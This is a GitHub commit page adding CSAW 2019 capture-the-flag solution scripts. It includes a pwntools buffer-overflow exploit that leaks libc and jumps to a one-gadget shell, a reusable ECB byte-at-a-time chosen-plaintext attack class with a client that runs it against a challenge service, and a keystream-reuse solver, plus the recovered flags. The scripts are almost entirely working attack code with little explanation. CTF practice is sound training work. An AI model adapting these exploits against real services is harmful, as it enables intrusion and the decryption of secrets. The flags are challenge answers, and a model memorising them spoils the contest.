Skip to content
Permalink
Browse files

Add writeups for CSAW

  • Loading branch information...
sampritipanda committed Sep 16, 2019
1 parent 09eaa9f commit cfaa06dbae07c705b02f7422a65c7667acf44c65
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,27 @@
from pwn import *

while True:
r = remote("pwn.chal.csaw.io", 1005)
#r = process("./baby_boi", env={"LD_PRELOAD":"./libc-2.27.so"})

libc = ELF('./libc-2.27.so')
bin = ELF('./baby_boi')

r.recvuntil("am: ")
leak = int(r.recvline().strip()[2:], 16)
libcbase = leak - libc.symbols['printf']
print hex(libcbase)
poprdi = 0x0000000000400643
ret = 0x0000000000400456

#context.log_level = 'debug'

print hex(libcbase + 0x4f2c5)
payload = "A" * 40 + p64(libcbase + 0x10a38c)[:6]
r.send(payload)
r.send("\n")
r.interactive()
break


# flag{baby_boi_dodooo_doo_doo_dooo}
@@ -0,0 +1,155 @@
""" Implement a Chosen Plaintext Attack
Author: EiNSTeiN_ <einstein@g3nius.org>
"""

import random

class CiphertextNotStable(Exception): pass
class BlockInfoDetectionFailed(Exception): pass

class ChosenPlaintext(object):

def __init__(self, use_predicted_iv=None):
self.block_size = None
self.plaintext_offset = None
self.plaintext = ''

self.use_predicted_iv = use_predicted_iv
return

def IV(self):
""" The base class must return the predicted IV for the next ciphertext() call. """
raise NotImplemented('IV() must be overriden')

def ciphertext(self, plaintext):
""" The base class must return the ciphertext for that plaintext """
raise NotImplemented('ciphertext() must be overriden')

def __get_ciphertext(self, plaintext):
""" get the ciphertext for that plaintext, making sure to track the IV. """

if self.use_predicted_iv:
predicted_iv = self.IV()

first_block = '\x00' * len(predicted_iv)
first_block = ''.join([chr(ord(predicted_iv[i]) ^ ord(first_block[i])) for i in range(len(predicted_iv))])

plaintext = first_block + plaintext

return self.ciphertext(plaintext)

def random_letters(self, n):
""" Return a string of `n` random letters. """
return ''.join([chr(c) for c in random.sample(range(ord('a'), ord('z')), n)])

def random_pair(self):
""" Return two random letters that are garanteed to not be the same. """
a = b = self.random_letters(1)
while b == a:
b = self.random_letters(1)
return a, b

def test_stability(self):
""" Test the stability of the encryption process. If the IV is fixed, the same plaintext will always encrypt to the same ciphertext. """
letters = self.random_letters(random.randint(16,25))
ciphertext = self.__get_ciphertext(letters)
for i in range(10):
if ciphertext != self.__get_ciphertext(letters):
raise CiphertextNotStable('Same plaintext does not encrypt to same ciphertext.')
return True

def first_different_block(self, a, b, bs=8):
""" Return the index of the first `bs`-byte block that is different between `a` and `b`. """
assert len(a) == len(b)
strlen = len(a)
assert strlen % bs == 0
a = self.blocks(a, bs)
b = self.blocks(b, bs)
i = 0
for i in range(strlen / bs):
if a[i] != b[i]:
return i
i += 1
return None

def find_block_info(self):
""" Try to find the block size and the number of bytes
of plaintext required before overflowing into the
next block.
This is done purely as a blackbox test, by encrypting
different plaintext and looking at the ciphertext. """

# Send only one letter and check which block is the first "different" block.
a, b = self.random_pair()
first = self.__get_ciphertext(a)
second = self.__get_ciphertext(b)
base = self.first_different_block(first, second)

# Test changing each byte until an overflow occurs
for n in range(0, 20):
# get two blocks that differ only by the last letter.
a, b = self.random_pair()
first = self.__get_ciphertext("%s%s" % ('a' * n, a))
second = self.__get_ciphertext("%s%s" % ('a' * n, b))
diff = self.first_different_block(first, second)
if diff is None:
continue
if diff != base:
self.block_size = 16 if (diff - base) == 2 else 8
in_block = self.first_different_block(first, second, self.block_size) - 1
self.plaintext_offset = (in_block * self.block_size) + (self.block_size - n)
return

raise BlockInfoDetectionFailed('Failed to detect block size and plaintext offset.')

def blocks(self, c, bs=None):
if bs is None:
bs = self.block_size
return [c[i * bs:(i + 1) * bs] for i in range(len(c) / bs)]

def run(self):
if (self.block_size is None or self.plaintext_offset is None) and self.test_stability():
self.find_block_info()

# find the length we want to decrypt, rounded up to a full block.
c = self.__get_ciphertext('a')
clen = len(c)
decrypt_len = clen - self.plaintext_offset
decrypt_len = (decrypt_len - (decrypt_len % self.block_size)) + self.block_size

# length that we have to pad for getting to the end of the first block we control
# (plaintext_offset + pad_length) is a multiple of block_size.
pad_length = self.block_size - (self.plaintext_offset % self.block_size)

# full plaintext length
plength = pad_length + decrypt_len

# this is the index of the last block we control
known_block = ((self.plaintext_offset + plength) / self.block_size) - 1

# Now the main blob, the hearth of the attack.
self.plaintext = ''
while len(self.plaintext) < (clen - self.plaintext_offset):
# figure out the ciphertext that correspond to the next plaintext we want to guess.
p = ('a' * (plength - 1 - len(self.plaintext)))
c = self.__get_ciphertext(p)
canary = self.blocks(c)[known_block]

# Try each letter until we find a block that match our canary
found = False
charset = [ord(x) for x in '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~']
for i in charset:
p = ('a' * (plength - 1 - len(self.plaintext))) + self.plaintext + chr(i)
c = self.__get_ciphertext(p)
b = self.blocks(c)[known_block]
if b == canary:
self.plaintext += chr(i)
#print 'FOUND!!!', repr(chr(i)), repr(self.plaintext)
found = True
break
if not found:
#print 'Cannot find next letter, %u of %u found' % (len(self.plaintext), clen - self.plaintext_offset)
break

return
@@ -0,0 +1,37 @@
import socket
import struct
import string
import binascii
from pwn import *

from chosen_plaintext import ChosenPlaintext
from Crypto.Cipher import AES

def pad(x):
l = 16 - (len(x) % 16)
return (x + chr(l) * l)

proc = remote('crypto.chal.csaw.io', 1003)
flag = proc.recvline().strip().decode('hex')

class Client(ChosenPlaintext):

def __init__(self):
ChosenPlaintext.__init__(self)
return

def ciphertext(self, plaintext):
print repr(plaintext)
proc.recvuntil("something: ")
proc.sendline(plaintext)
proc.recvline()
res = proc.recvline().strip().decode('hex')
# print res.encode('hex')
return res
# return AES.new('a' * 16, AES.MODE_ECB).encrypt(pad("abc" + plaintext + "Lorem Ipsum Dolor Sit Amet"))

c = Client()
c.run()
print 'recovered', repr(c.plaintext)

# flag{y0u_kn0w_h0w_B10cks_Are_n0T_r31iab13...}
@@ -0,0 +1,81 @@
import socketserver
from Crypto.Cipher import AES
import os
import random

#from flag import FLAG
FLAG = b'Lorem Ipsum Dolor Sit'


def xor(x, y):
return bytes([x[idx] ^ y[idx] for idx in range(len(x))])


def random_bytes():
return random.getrandbits(32).to_bytes(16, 'little')


def encrypt(aes, msg, i):
blocks = [msg[idx:idx+16] for idx in range(0, len(msg), 16)]
cipher = b''
for j in range(len(blocks)):
if i == 15 and j == 2:
import ipdb
ipdb.set_trace()
block = blocks[j]
block += bytes([0 for _ in range(16 - len(block))])
cipher += xor(aes.encrypt(random_bytes()), block)
return cipher


def send_enc(req, aes, msg, i):
req.sendall(encrypt(aes, msg, i))


def recv_exact(req, length):
buf = b''
while length > 0:
data = req.recv(length)
if data == b'':
raise EOFError()
buf += data
length -= len(data)
return buf


def recv_msg(req):
return recv_exact(req, 32)


def recv_seed(req):
try:
data = int(recv_exact(req, 16))
except ValueError as e:
req.sendall('Not a valid int\n')
raise(e)
return data


def main(req):
req.sendall(b'Send me a random seed\n')
random.seed(recv_seed(req))
aes = AES.new("A" * 16, AES.MODE_ECB)

req.sendall(b'Encrypted flag:\n')
for _ in range(100):
send_enc(req, aes, b'Encrypted Flag: ' + FLAG, _)
req.sendall(b'\n')

req.sendall(b'Okay bye\n')
return


class TaskHandler(socketserver.BaseRequestHandler):
def handle(self):
main(self.request)


if __name__ == '__main__':
socketserver.ThreadingTCPServer.allow_reuse_address = True
server = socketserver.ThreadingTCPServer(('0.0.0.0', 1337), TaskHandler)
server.serve_forever()
@@ -0,0 +1,39 @@
from pwn import *

proc = remote("crypto.chal.csaw.io", 1002)
# proc = remote('localhost', 1337)

# These are seeds which have collisions in the first 100*3 values
# seed = 71789
seed = 504551
proc.sendline(str(seed).rjust(16, '0'))

data = proc.recvuntil('Okay bye\n')
data = data[38:-9]

print len(data)

blocks = []

for i in range(0, len(data), 49):
curr = [data[i:i+16], data[i+16:i+32], data[i+32:i+48]]
blocks.append(curr)

print len(blocks)

# These are the indexes which have collisions

# block1 = blocks[15][2]
# block2 = blocks[38][0]

block1 = blocks[0][1]
block2 = blocks[97][2]

print repr(block1)
print repr(block2)

# print(xor(xor(block2, 'Encrypted Flag: '), block1))
print(xor(xor(block2, '_0n_m3_l1kE_123}'), block1))

# _0n_m3_l1kE_123}
# flag{U_c@n_coUn7_0n_m3_l1kE_123}

Large diffs are not rendered by default.

@@ -0,0 +1 @@
At vero eos et accusamus et iusto odio dignissimos ducimus qui blanditiis praesentium voluptatum deleniti atque corrupti quos dolores et quas molestias excepturi sint occaecati cupiditate non provident, similique sunt in culpa qui officia deserunt mollitia animi, id est laborum et dolorum fuga. Et harum quidem rerum facilis est et expedita distinctio. Nam libero tempore, cum soluta nobis est eligendi optio cumque nihil impedit quo minus id quod maxime placeat facere possimus, omnis voluptas assumenda est, omnis dolor repellendus. Temporibus autem quibusdam et aut officiis debitis aut rerum necessitatibus saepe eveniet ut et voluptates repudiandae sint et molestiae non recusandae. Itaque earum rerum hic tenetur a sapiente delectus, ut aut reiciendis voluptatibus maiores alias consequatur aut perferendis doloribus asperiores repellat.

Large diffs are not rendered by default.

0 comments on commit cfaa06d

Please sign in to comment.
You can’t perform that action at this time.